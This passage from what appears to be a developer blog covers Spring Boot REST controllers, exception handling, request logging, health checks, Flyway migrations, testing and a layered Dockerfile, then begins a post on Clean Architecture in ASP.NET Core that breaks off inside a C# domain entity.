<span class="kd">public</span> <span class="kd">class</span> <span class="nc">ProductController</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="nc">ProductService</span> <span class="n">productService</span><span class="o">;</span>
<span class="nd">@GetMapping</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o"><</span><span class="nc">Page</span><span class="o"><</span><span class="nc">ProductDTO</span><span class="o">>></span> <span class="nf">getProducts</span><span class="o">(</span>
<span class="nd">@RequestParam</span><span class="o">(</span><span class="n">required</span> <span class="o">=</span> <span class="kc">false</span><span class="o">)</span> <span class="nc">ProductCategory</span> <span class="n">category</span><span class="o">,</span>
<span class="nd">@RequestParam</span><span class="o">(</span><span class="n">defaultValue</span> <span class="o">=</span> <span class="s">"0"</span><span class="o">)</span> <span class="kt">int</span> <span class="n">page</span><span class="o">,</span>
<span class="nd">@RequestParam</span><span class="o">(</span><span class="n">defaultValue</span> <span class="o">=</span> <span class="s">"20"</span><span class="o">)</span> <span class="kt">int</span> <span class="n">size</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Page</span><span class="o"><</span><span class="nc">ProductDTO</span><span class="o">></span> <span class="n">products</span><span class="o">;</span>
<span class="k">if</span> <span class="o">(</span><span class="n">category</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span>
<span class="n">products</span> <span class="o">=</span> <span class="n">productService</span><span class="o">.</span><span class="na">getProductsByCategory</span><span class="o">(</span><span class="n">category</span><span class="o">,</span> <span class="nc">PageRequest</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="n">page</span><span class="o">,</span> <span class="n">size</span><span class="o">));</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
<span class="n">products</span> <span class="o">=</span> <span class="n">productService</span><span class="o">.</span><span class="na">getAllProducts</span><span class="o">(</span><span class="nc">PageRequest</span><span class="o">.</span><span class="na">of</span><span class="o">(</span><span class="n">page</span><span class="o">,</span> <span class="n">size</span><span class="o">));</span>
<span class="o">}</span>
<span class="k">return</span> <span class="nc">ResponseEntity</span><span class="o">.</span><span class="na">ok</span><span class="o">(</span><span class="n">products</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@PostMapping</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o"><</span><span class="nc">ProductDTO</span><span class="o">></span> <span class="nf">createProduct</span><span class="o">(</span>
<span class="nd">@Valid</span> <span class="nd">@RequestBody</span> <span class="nc">CreateProductRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">ProductDTO</span> <span class="n">created</span> <span class="o">=</span> <span class="n">productService</span><span class="o">.</span><span class="na">createProduct</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
<span class="no">URI</span> <span class="n">location</span> <span class="o">=</span> <span class="nc">ServletUriComponentsBuilder</span>
<span class="o">.</span><span class="na">fromCurrentRequest</span><span class="o">()</span>
<span class="o">.</span><span class="na">path</span><span class="o">(</span><span class="s">"/{id}"</span><span class="o">)</span>
<span class="o">.</span><span class="na">buildAndExpand</span><span class="o">(</span><span class="n">created</span><span class="o">.</span><span class="na">getId</span><span class="o">())</span>
<span class="o">.</span><span class="na">toUri</span><span class="o">();</span>
<span class="k">return</span> <span class="nc">ResponseEntity</span><span class="o">.</span><span class="na">created</span><span class="o">(</span><span class="n">location</span><span class="o">).</span><span class="na">body</span><span class="o">(</span><span class="n">created</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@PutMapping</span><span class="o">(</span><span class="s">"/{id}/price"</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o"><</span><span class="nc">Void</span><span class="o">></span> <span class="nf">updatePrice</span><span class="o">(</span>
<span class="nd">@PathVariable</span> <span class="nc">Long</span> <span class="n">id</span><span class="o">,</span>
<span class="nd">@Valid</span> <span class="nd">@RequestBody</span> <span class="nc">UpdatePriceRequest</span> <span class="n">request</span><span class="o">)</span> <span class="o">{</span>
<span class="n">productService</span><span class="o">.</span><span class="na">updateProductPrice</span><span class="o">(</span><span class="n">id</span><span class="o">,</span> <span class="n">request</span><span class="o">.</span><span class="na">getPrice</span><span class="o">());</span>
<span class="k">return</span> <span class="nc">ResponseEntity</span><span class="o">.</span><span class="na">noContent</span><span class="o">().</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h2 id="production-ready-features">Production-Ready Features</h2>
<h3 id="exception-handling">Exception Handling</h3>
<p>A global exception handler provides consistent API responses:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@RestControllerAdvice</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">GlobalExceptionHandler</span> <span class="o">{</span>
<span class="nd">@ExceptionHandler</span><span class="o">(</span><span class="nc">ResourceNotFoundException</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o"><</span><span class="nc">ApiError</span><span class="o">></span> <span class="nf">handleNotFound</span><span class="o">(</span><span class="nc">ResourceNotFoundException</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">ApiError</span> <span class="n">error</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ApiError</span><span class="o">(</span>
<span class="nc">HttpStatus</span><span class="o">.</span><span class="na">NOT_FOUND</span><span class="o">.</span><span class="na">value</span><span class="o">(),</span>
<span class="n">ex</span><span class="o">.</span><span class="na">getMessage</span><span class="o">(),</span>
<span class="nc">LocalDateTime</span><span class="o">.</span><span class="na">now</span><span class="o">()</span>
<span class="o">);</span>
<span class="k">return</span> <span class="k">new</span> <span class="nc">ResponseEntity</span><span class="o"><>(</span><span class="n">error</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">NOT_FOUND</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@ExceptionHandler</span><span class="o">(</span><span class="nc">MethodArgumentNotValidException</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o"><</span><span class="nc">ApiError</span><span class="o">></span> <span class="nf">handleValidationExceptions</span><span class="o">(</span>
<span class="nc">MethodArgumentNotValidException</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">Map</span><span class="o"><</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">></span> <span class="n">errors</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o"><>();</span>
<span class="n">ex</span><span class="o">.</span><span class="na">getBindingResult</span><span class="o">().</span><span class="na">getFieldErrors</span><span class="o">().</span><span class="na">forEach</span><span class="o">(</span><span class="n">error</span> <span class="o">-></span>
<span class="n">errors</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="n">error</span><span class="o">.</span><span class="na">getField</span><span class="o">(),</span> <span class="n">error</span><span class="o">.</span><span class="na">getDefaultMessage</span><span class="o">()));</span>
<span class="nc">ApiError</span> <span class="n">apiError</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ApiError</span><span class="o">(</span>
<span class="nc">HttpStatus</span><span class="o">.</span><span class="na">BAD_REQUEST</span><span class="o">.</span><span class="na">value</span><span class="o">(),</span>
<span class="s">"Validation error"</span><span class="o">,</span>
<span class="n">errors</span><span class="o">,</span>
<span class="nc">LocalDateTime</span><span class="o">.</span><span class="na">now</span><span class="o">()</span>
<span class="o">);</span>
<span class="k">return</span> <span class="k">new</span> <span class="nc">ResponseEntity</span><span class="o"><>(</span><span class="n">apiError</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">BAD_REQUEST</span><span class="o">);</span>
<span class="o">}</span>
<span class="nd">@ExceptionHandler</span><span class="o">(</span><span class="nc">Exception</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
<span class="kd">public</span> <span class="nc">ResponseEntity</span><span class="o"><</span><span class="nc">ApiError</span><span class="o">></span> <span class="nf">handleAllExceptions</span><span class="o">(</span><span class="nc">Exception</span> <span class="n">ex</span><span class="o">)</span> <span class="o">{</span>
<span class="nc">ApiError</span> <span class="n">error</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ApiError</span><span class="o">(</span>
<span class="nc">HttpStatus</span><span class="o">.</span><span class="na">INTERNAL_SERVER_ERROR</span><span class="o">.</span><span class="na">value</span><span class="o">(),</span>
<span class="s">"An unexpected error occurred"</span><span class="o">,</span>
<span class="nc">LocalDateTime</span><span class="o">.</span><span class="na">now</span><span class="o">()</span>
<span class="o">);</span>
<span class="k">return</span> <span class="k">new</span> <span class="nc">ResponseEntity</span><span class="o"><>(</span><span class="n">error</span><span class="o">,</span> <span class="nc">HttpStatus</span><span class="o">.</span><span class="na">INTERNAL_SERVER_ERROR</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="request-logging">Request Logging</h3>
<p>For debugging and audit purposes, request logging is essential:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@Component</span>
<span class="nd">@Order</span><span class="o">(</span><span class="nc">Ordered</span><span class="o">.</span><span class="na">HIGHEST_PRECEDENCE</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">RequestLoggingFilter</span> <span class="kd">implements</span> <span class="nc">Filter</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Logger</span> <span class="n">log</span> <span class="o">=</span> <span class="nc">LoggerFactory</span><span class="o">.</span><span class="na">getLogger</span><span class="o">(</span><span class="nc">RequestLoggingFilter</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="kt">void</span> <span class="nf">doFilter</span><span class="o">(</span>
<span class="nc">ServletRequest</span> <span class="n">request</span><span class="o">,</span>
<span class="nc">ServletResponse</span> <span class="n">response</span><span class="o">,</span>
<span class="nc">FilterChain</span> <span class="n">chain</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span><span class="o">,</span> <span class="nc">ServletException</span> <span class="o">{</span>
<span class="nc">HttpServletRequest</span> <span class="n">httpRequest</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpServletRequest</span><span class="o">)</span> <span class="n">request</span><span class="o">;</span>
<span class="nc">HttpServletResponse</span> <span class="n">httpResponse</span> <span class="o">=</span> <span class="o">(</span><span class="nc">HttpServletResponse</span><span class="o">)</span> <span class="n">response</span><span class="o">;</span>
<span class="nc">String</span> <span class="n">requestId</span> <span class="o">=</span> <span class="no">UUID</span><span class="o">.</span><span class="na">randomUUID</span><span class="o">().</span><span class="na">toString</span><span class="o">();</span>
<span class="no">MDC</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"requestId"</span><span class="o">,</span> <span class="n">requestId</span><span class="o">);</span>
<span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"Request: {} {} [{}]"</span><span class="o">,</span>
<span class="n">httpRequest</span><span class="o">.</span><span class="na">getMethod</span><span class="o">(),</span>
<span class="n">httpRequest</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">(),</span>
<span class="n">httpRequest</span><span class="o">.</span><span class="na">getRemoteAddr</span><span class="o">());</span>
<span class="kt">long</span> <span class="n">startTime</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">();</span>
<span class="k">try</span> <span class="o">{</span>
<span class="n">chain</span><span class="o">.</span><span class="na">doFilter</span><span class="o">(</span><span class="n">request</span><span class="o">,</span> <span class="n">response</span><span class="o">);</span>
<span class="o">}</span> <span class="k">finally</span> <span class="o">{</span>
<span class="kt">long</span> <span class="n">duration</span> <span class="o">=</span> <span class="nc">System</span><span class="o">.</span><span class="na">currentTimeMillis</span><span class="o">()</span> <span class="o">-</span> <span class="n">startTime</span><span class="o">;</span>
<span class="n">log</span><span class="o">.</span><span class="na">info</span><span class="o">(</span><span class="s">"Response: {} {} ({}ms)"</span><span class="o">,</span>
<span class="n">httpResponse</span><span class="o">.</span><span class="na">getStatus</span><span class="o">(),</span>
<span class="n">httpRequest</span><span class="o">.</span><span class="na">getRequestURI</span><span class="o">(),</span>
<span class="n">duration</span><span class="o">);</span>
<span class="no">MDC</span><span class="o">.</span><span class="na">remove</span><span class="o">(</span><span class="s">"requestId"</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="actuator-endpoints">Actuator Endpoints</h3>
<p>Spring Boot Actuator provides production-ready features:</p>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@Component</span>
<span class="kd">public</span> <span class="kd">class</span> <span class="nc">CustomHealthIndicator</span> <span class="kd">implements</span> <span class="nc">HealthIndicator</span> <span class="o">{</span>
<span class="kd">private</span> <span class="kd">final</span> <span class="nc">ExternalServiceClient</span> <span class="n">client</span><span class="o">;</span>
<span class="kd">public</span> <span class="nf">CustomHealthIndicator</span><span class="o">(</span><span class="nc">ExternalServiceClient</span> <span class="n">client</span><span class="o">)</span> <span class="o">{</span>
<span class="k">this</span><span class="o">.</span><span class="na">client</span> <span class="o">=</span> <span class="n">client</span><span class="o">;</span>
<span class="o">}</span>
<span class="nd">@Override</span>
<span class="kd">public</span> <span class="nc">Health</span> <span class="nf">health</span><span class="o">()</span> <span class="o">{</span>
<span class="k">try</span> <span class="o">{</span>
<span class="kt">boolean</span> <span class="n">isAvailable</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="na">isServiceAvailable</span><span class="o">();</span>
<span class="k">if</span> <span class="o">(</span><span class="n">isAvailable</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="nc">Health</span><span class="o">.</span><span class="na">up</span><span class="o">()</span>
<span class="o">.</span><span class="na">withDetail</span><span class="o">(</span><span class="s">"externalService"</span><span class="o">,</span> <span class="s">"available"</span><span class="o">)</span>
<span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span> <span class="k">else</span> <span class="o">{</span>
<span class="k">return</span> <span class="nc">Health</span><span class="o">.</span><span class="na">down</span><span class="o">()</span>
<span class="o">.</span><span class="na">withDetail</span><span class="o">(</span><span class="s">"externalService"</span><span class="o">,</span> <span class="s">"unavailable"</span><span class="o">)</span>
<span class="o">.</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{</span>
<span class="k">return</span> <span class="nc">Health</span><span class="o">.</span><span class="na">down</span><span class="o">(</span><span class="n">e</span><span class="o">).</span><span class="na">build</span><span class="o">();</span>
<span class="o">}</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="database-migration">Database Migration</h3>
<p>Flyway or Liquibase manage database schema changes:</p>
<figure class="highlight"><pre><code class="language-sql" data-lang="sql"><span class="c1">-- V1__create_products_table.sql</span>
<span class="k">CREATE</span> <span class="k">TABLE</span> <span class="n">products</span> <span class="p">(</span>
<span class="n">id</span> <span class="nb">SERIAL</span> <span class="k">PRIMARY</span> <span class="k">KEY</span><span class="p">,</span>
<span class="n">name</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">255</span><span class="p">)</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
<span class="n">price</span> <span class="nb">DECIMAL</span><span class="p">(</span><span class="mi">19</span><span class="p">,</span> <span class="mi">2</span><span class="p">)</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
<span class="n">category</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">50</span><span class="p">)</span> <span class="k">NOT</span> <span class="k">NULL</span><span class="p">,</span>
<span class="n">description</span> <span class="nb">VARCHAR</span><span class="p">(</span><span class="mi">2000</span><span class="p">),</span>
<span class="n">created_at</span> <span class="nb">TIMESTAMP</span> <span class="k">NOT</span> <span class="k">NULL</span> <span class="k">DEFAULT</span> <span class="n">NOW</span><span class="p">(),</span>
<span class="n">updated_at</span> <span class="nb">TIMESTAMP</span>
<span class="p">);</span>
<span class="k">CREATE</span> <span class="k">INDEX</span> <span class="n">idx_products_category</span> <span class="k">ON</span> <span class="n">products</span><span class="p">(</span><span class="n">category</span><span class="p">);</span></code></pre></figure>
<h2 id="testing-strategies">Testing Strategies</h2>
<h3 id="unit-testing">Unit Testing</h3>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@ExtendWith</span><span class="o">(</span><span class="nc">MockitoExtension</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
<span class="kd">class</span> <span class="nc">ProductServiceTest</span> <span class="o">{</span>
<span class="nd">@Mock</span>
<span class="kd">private</span> <span class="nc">ProductRepository</span> <span class="n">productRepository</span><span class="o">;</span>
<span class="nd">@Mock</span>
<span class="kd">private</span> <span class="nc">ProductMapper</span> <span class="n">productMapper</span><span class="o">;</span>
<span class="nd">@InjectMocks</span>
<span class="kd">private</span> <span class="nc">ProductService</span> <span class="n">productService</span><span class="o">;</span>
<span class="nd">@Test</span>
<span class="kt">void</span> <span class="nf">createProduct_ShouldSaveAndReturnMappedDTO</span><span class="o">()</span> <span class="o">{</span>
<span class="c1">// Arrange</span>
<span class="nc">CreateProductRequest</span> <span class="n">request</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CreateProductRequest</span><span class="o">(</span>
<span class="s">"Test Product"</span><span class="o">,</span>
<span class="nc">BigDecimal</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="mf">99.99</span><span class="o">),</span>
<span class="nc">ProductCategory</span><span class="o">.</span><span class="na">ELECTRONICS</span><span class="o">,</span>
<span class="s">"Test description"</span>
<span class="o">);</span>
<span class="nc">Product</span> <span class="n">product</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Product</span><span class="o">();</span>
<span class="n">product</span><span class="o">.</span><span class="na">setName</span><span class="o">(</span><span class="s">"Test Product"</span><span class="o">);</span>
<span class="n">product</span><span class="o">.</span><span class="na">setPrice</span><span class="o">(</span><span class="nc">BigDecimal</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="mf">99.99</span><span class="o">));</span>
<span class="nc">Product</span> <span class="n">savedProduct</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Product</span><span class="o">();</span>
<span class="n">savedProduct</span><span class="o">.</span><span class="na">setId</span><span class="o">(</span><span class="mi">1L</span><span class="o">);</span>
<span class="n">savedProduct</span><span class="o">.</span><span class="na">setName</span><span class="o">(</span><span class="s">"Test Product"</span><span class="o">);</span>
<span class="n">savedProduct</span><span class="o">.</span><span class="na">setPrice</span><span class="o">(</span><span class="nc">BigDecimal</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="mf">99.99</span><span class="o">));</span>
<span class="nc">ProductDTO</span> <span class="n">expectedDto</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProductDTO</span><span class="o">(</span>
<span class="mi">1L</span><span class="o">,</span>
<span class="s">"Test Product"</span><span class="o">,</span>
<span class="nc">BigDecimal</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="mf">99.99</span><span class="o">),</span>
<span class="nc">ProductCategory</span><span class="o">.</span><span class="na">ELECTRONICS</span><span class="o">,</span>
<span class="s">"Test description"</span>
<span class="o">);</span>
<span class="n">when</span><span class="o">(</span><span class="n">productMapper</span><span class="o">.</span><span class="na">toEntity</span><span class="o">(</span><span class="n">request</span><span class="o">)).</span><span class="na">thenReturn</span><span class="o">(</span><span class="n">product</span><span class="o">);</span>
<span class="n">when</span><span class="o">(</span><span class="n">productRepository</span><span class="o">.</span><span class="na">save</span><span class="o">(</span><span class="n">product</span><span class="o">)).</span><span class="na">thenReturn</span><span class="o">(</span><span class="n">savedProduct</span><span class="o">);</span>
<span class="n">when</span><span class="o">(</span><span class="n">productMapper</span><span class="o">.</span><span class="na">toDto</span><span class="o">(</span><span class="n">savedProduct</span><span class="o">)).</span><span class="na">thenReturn</span><span class="o">(</span><span class="n">expectedDto</span><span class="o">);</span>
<span class="c1">// Act</span>
<span class="nc">ProductDTO</span> <span class="n">result</span> <span class="o">=</span> <span class="n">productService</span><span class="o">.</span><span class="na">createProduct</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
<span class="c1">// Assert</span>
<span class="n">assertEquals</span><span class="o">(</span><span class="n">expectedDto</span><span class="o">,</span> <span class="n">result</span><span class="o">);</span>
<span class="n">verify</span><span class="o">(</span><span class="n">productRepository</span><span class="o">).</span><span class="na">save</span><span class="o">(</span><span class="n">product</span><span class="o">);</span>
<span class="n">verify</span><span class="o">(</span><span class="n">productMapper</span><span class="o">).</span><span class="na">toEntity</span><span class="o">(</span><span class="n">request</span><span class="o">);</span>
<span class="n">verify</span><span class="o">(</span><span class="n">productMapper</span><span class="o">).</span><span class="na">toDto</span><span class="o">(</span><span class="n">savedProduct</span><span class="o">);</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h3 id="integration-testing">Integration Testing</h3>
<figure class="highlight"><pre><code class="language-java" data-lang="java"><span class="nd">@SpringBootTest</span>
<span class="nd">@AutoConfigureMockMvc</span>
<span class="nd">@TestPropertySource</span><span class="o">(</span><span class="n">locations</span> <span class="o">=</span> <span class="s">"classpath:application-test.yml"</span><span class="o">)</span>
<span class="nd">@ActiveProfiles</span><span class="o">(</span><span class="s">"test"</span><span class="o">)</span>
<span class="kd">class</span> <span class="nc">ProductControllerIntegrationTest</span> <span class="o">{</span>
<span class="nd">@Autowired</span>
<span class="kd">private</span> <span class="nc">MockMvc</span> <span class="n">mockMvc</span><span class="o">;</span>
<span class="nd">@Autowired</span>
<span class="kd">private</span> <span class="nc">ObjectMapper</span> <span class="n">objectMapper</span><span class="o">;</span>
<span class="nd">@MockBean</span>
<span class="kd">private</span> <span class="nc">ProductService</span> <span class="n">productService</span><span class="o">;</span>
<span class="nd">@Test</span>
<span class="kt">void</span> <span class="nf">createProduct_ShouldReturnCreatedProduct</span><span class="o">()</span> <span class="kd">throws</span> <span class="nc">Exception</span> <span class="o">{</span>
<span class="c1">// Arrange</span>
<span class="nc">CreateProductRequest</span> <span class="n">request</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">CreateProductRequest</span><span class="o">(</span>
<span class="s">"New Product"</span><span class="o">,</span>
<span class="nc">BigDecimal</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="mf">29.99</span><span class="o">),</span>
<span class="nc">ProductCategory</span><span class="o">.</span><span class="na">BOOKS</span><span class="o">,</span>
<span class="s">"New book"</span>
<span class="o">);</span>
<span class="nc">ProductDTO</span> <span class="n">createdDto</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ProductDTO</span><span class="o">(</span>
<span class="mi">1L</span><span class="o">,</span>
<span class="s">"New Product"</span><span class="o">,</span>
<span class="nc">BigDecimal</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="mf">29.99</span><span class="o">),</span>
<span class="nc">ProductCategory</span><span class="o">.</span><span class="na">BOOKS</span><span class="o">,</span>
<span class="s">"New book"</span>
<span class="o">);</span>
<span class="n">when</span><span class="o">(</span><span class="n">productService</span><span class="o">.</span><span class="na">createProduct</span><span class="o">(</span><span class="n">any</span><span class="o">())).</span><span class="na">thenReturn</span><span class="o">(</span><span class="n">createdDto</span><span class="o">);</span>
<span class="c1">// Act & Assert</span>
<span class="n">mockMvc</span><span class="o">.</span><span class="na">perform</span><span class="o">(</span><span class="n">post</span><span class="o">(</span><span class="s">"/api/products"</span><span class="o">)</span>
<span class="o">.</span><span class="na">contentType</span><span class="o">(</span><span class="nc">MediaType</span><span class="o">.</span><span class="na">APPLICATION_JSON</span><span class="o">)</span>
<span class="o">.</span><span class="na">content</span><span class="o">(</span><span class="n">objectMapper</span><span class="o">.</span><span class="na">writeValueAsString</span><span class="o">(</span><span class="n">request</span><span class="o">)))</span>
<span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">status</span><span class="o">().</span><span class="na">isCreated</span><span class="o">())</span>
<span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">jsonPath</span><span class="o">(</span><span class="s">"$.id"</span><span class="o">).</span><span class="na">value</span><span class="o">(</span><span class="mi">1</span><span class="o">))</span>
<span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">jsonPath</span><span class="o">(</span><span class="s">"$.name"</span><span class="o">).</span><span class="na">value</span><span class="o">(</span><span class="s">"New Product"</span><span class="o">))</span>
<span class="o">.</span><span class="na">andExpect</span><span class="o">(</span><span class="n">jsonPath</span><span class="o">(</span><span class="s">"$.price"</span><span class="o">).</span><span class="na">value</span><span class="o">(</span><span class="mf">29.99</span><span class="o">));</span>
<span class="o">}</span>
<span class="o">}</span></code></pre></figure>
<h2 id="containerization-and-deployment">Containerization and Deployment</h2>
<h3 id="dockerfile">Dockerfile</h3>
<figure class="highlight"><pre><code class="language-dockerfile" data-lang="dockerfile"><span class="k">FROM</span><span class="w"> </span><span class="s">eclipse-temurin:17-jre-alpine</span><span class="w"> </span><span class="k">as</span><span class="w"> </span><span class="s">builder</span>
<span class="k">WORKDIR</span><span class="s"> /app</span>
<span class="k">COPY</span><span class="s"> build/libs/*.jar app.jar</span>
<span class="k">RUN </span>java <span class="nt">-Djarmode</span><span class="o">=</span>layertools <span class="nt">-jar</span> app.jar extract
<span class="k">FROM</span><span class="s"> eclipse-temurin:17-jre-alpine</span>
<span class="k">WORKDIR</span><span class="s"> /app</span>
<span class="k">ENV</span><span class="s"> JAVA_OPTS="-Xms512m -Xmx1024m"</span>
<span class="k">COPY</span><span class="s"> --from=builder /app/dependencies/ ./</span>
<span class="k">COPY</span><span class="s"> --from=builder /app/spring-boot-loader/ ./</span>
<span class="k">COPY</span><span class="s"> --from=builder /app/snapshot-dependencies/ ./</span>
<span class="k">COPY</span><span class="s"> --from=builder /app/application/ ./</span>
<span class="k">HEALTHCHECK</span><span class="s"> --interval=30s --timeout=3s \</span>
CMD wget -q --spider http://localhost:8080/actuator/health || exit 1
<span class="k">EXPOSE</span><span class="s"> 8080</span>
<span class="k">ENTRYPOINT</span><span class="s"> ["sh", "-c", "java $JAVA_OPTS org.springframework.boot.loader.JarLauncher"]</span></code></pre></figure>
<h3 id="application-performance-monitoring">Application Performance Monitoring</h3>
<p>For production monitoring, Spring Boot works seamlessly with APM tools like Datadog, New Relic, or Prometheus/Grafana.</p>
<h2 id="lessons-learned">Lessons Learned</h2>
<p>After working with Spring Boot across various projects, here are key observations:</p>
<ol>
<li><strong>Minimize boilerplate</strong>: Use Lombok, Spring Data projections, and MapStruct for cleaner code</li>
<li><strong>Embrace reactive programming</strong>: Consider WebFlux for high-throughput, low-latency requirements</li>
<li><strong>Don’t overuse annotations</strong>: They can hide complexity and make debugging harder</li>
<li><strong>Design for failure</strong>: Circuit breakers, retry policies, and graceful degradation are essential</li>
<li><strong>Profile and optimize early</strong>: Use Spring Boot’s metrics to identify bottlenecks</li>
</ol>
<h2 id="conclusion">Conclusion</h2>
<p>Spring Boot provides an excellent foundation for building modern Java applications. By following the practices outlined in this post, you can create robust, maintainable, and production-ready services.</p>
<p>In future posts, I’ll dive deeper into specific Spring Boot topics such as security, reactive programming, and event-driven architectures.</p>
<p>What Spring Boot features or best practices have you found most valuable? Share your experiences in the comments.</p>
Building a Clean Architecture API with ASP.NET Core
2025-01-18T00:00:00+00:00
https://sugan.dev/2025/01/18/clean-architecture-with-aspdotnet
<div class="message">
A detailed walkthrough of implementing Clean Architecture principles in an ASP.NET Core API, based on my experiences building the LifeFlow project.
</div>
<p>When designing modern backend systems, architectural choices significantly impact maintainability, testability, and scalability. In this post, I’ll share how I implemented a Clean Architecture approach in the LifeFlow project using ASP.NET Core.</p>
<h2 id="why-clean-architecture-for-aspnet-core">Why Clean Architecture for ASP.NET Core?</h2>
<p>Clean Architecture, popularized by Robert C. Martin, emphasizes separation of concerns through well-defined layers:</p>
<blockquote>
<p>The overriding rule that makes this architecture work is The Dependency Rule: source code dependencies can only point inwards.</p>
</blockquote>
<p>This approach brings several benefits to ASP.NET Core applications:</p>
<ul>
<li><strong>Framework independence</strong>: Core business logic doesn’t depend on ASP.NET or any external framework</li>
<li><strong>Testability</strong>: Business rules can be tested without UI, database, or any external element</li>
<li><strong>UI independence</strong>: The UI can change without changing the rest of the system</li>
<li><strong>Database independence</strong>: Business rules aren’t bound to a specific database</li>
</ul>
<h2 id="lifeflow-project-structure">LifeFlow Project Structure</h2>
<p>For the LifeFlow project, I structured the solution as follows:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="n">LifeFlow</span><span class="p">.</span><span class="n">Domain</span> <span class="c1">// Entities, value objects, domain events</span>
<span class="n">LifeFlow</span><span class="p">.</span><span class="n">Application</span> <span class="c1">// Use cases, interfaces, DTOs</span>
<span class="n">LifeFlow</span><span class="p">.</span><span class="n">Infrastructure</span><span class="c1">// Data access, external services </span>
<span class="n">LifeFlow</span><span class="p">.</span><span class="n">API</span> <span class="c1">// Controllers, middleware, DI setup</span></code></pre></figure>
<h3 id="domain-layer">Domain Layer</h3>
<p>The domain layer contains business entities with behavior and business rules:</p>
<figure class="highlight"><pre><code class="language-csharp" data-lang="csharp"><span class="c1">// Domain entity with behavior</span>
<span class="k">public</span> <span class="k">class</span> <span class="nc">HealthRecord</span>
<span class="p">{</span>
<span class="k">public</span> <span class="n">Guid</span> <span class="n">Id</span> <span class="p">{</span> <span class="k">get</span><span class="p">;</span> <span class="k">private</span> <span class="k">set</span><span class="p">;</span> <span class="p">}</span>
